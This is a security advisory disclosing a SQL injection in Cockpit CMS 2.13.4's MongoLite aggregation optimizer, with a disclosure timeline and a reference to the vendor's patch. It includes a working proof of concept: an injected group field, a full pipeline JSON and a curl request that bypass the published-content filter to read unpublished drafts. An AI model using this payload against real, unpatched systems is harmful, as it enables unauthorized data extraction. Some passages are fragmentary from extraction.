
SQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw()
cockpithq/cockpit:core-2.13.47fe563023b7fae854c857d2e2dc0878ef28fbb5f (tag 2.13.4)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NSQL Injection vulnerability has been identified in Cockpit CMS (Core Edition version 2.13.4). The vulnerability exists within the MongoLite Aggregation Optimizer, specifically in the method. User-controlled field names are concatenated directly into SQL queries without proper sanitization.
toJsonExtractRaw()An authenticated attacker with read access (via an API key) to a Content Model can inject arbitrary SQL commands into the aggregation pipeline via the /api/content/aggregate/{model} REST endpoint.
This flaw enables attackers to:
_state=1) to read unpublished drafts.sqlite_master.The following steps demonstrate how an attacker can bypass the _state=1 authorization filter.
testcol.title and body.Screenshot: Setting up the testcol content model

MasterRole) so it has READ permission for the testcol model.Screenshot: Configuring Role permissions for the collection

MasterRole you just configured. Copy the key value (e.g., API-b8e8...).Screenshot: Setting up the API Key with the read-access role

Public and set its state to PUBLISHED (green icon).SECRET_DRAFT and set its state to UNPUBLISHED (red icon).Screenshot: The items list showing one published and one unpublished item

By default, standard API queries will only return content where the state is Published. However, by injecting SQL into the aggregation pipeline, the published-content filter can be bypassed.
json_extract() SQL function and appends an SQL comment -- to neutralize the trailing SQL, specifically targeting the WHERE clause that limits results to published items.Injected Field:
$title') as _id FROM collections_testcol--
Full Pipeline JSON:
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
/api/content/aggregate/testcol endpoint. Make sure to replace YOUR_API_KEY with the key generated in Step 2.2:curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"
As shown in the final screenshot below, the API response successfully returns the SECRET_DRAFT item despite it being explicitly marked as UNPUBLISHED. This confirms the SQL injection bypasses the application's core authorization mechanism and allows unauthorized data extraction over the API.
Screenshot: Successful extraction of the unpublished 'SECRET_DRAFT' data

In a classic headless CMS deployment, a public read-only API key is often embedded/hardcoded in frontend JavaScript. By exploiting this vulnerability through the public API endpoint, an attacker can:
content.sqlite database, including collections the API key is not authorized for.sqlite_master to discover all table names and structures.| Date | Action |
|---|---|
| 2026-02-28 | Vulnerability discovered during authorized security research |
| 2026-03-02 | Report submitted to vendor |
| 2026-03-02 | Vendor fix -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0 |
| 2026-03-09 | Patch released v 2.13.5 -- https://getcockpit.com/releases |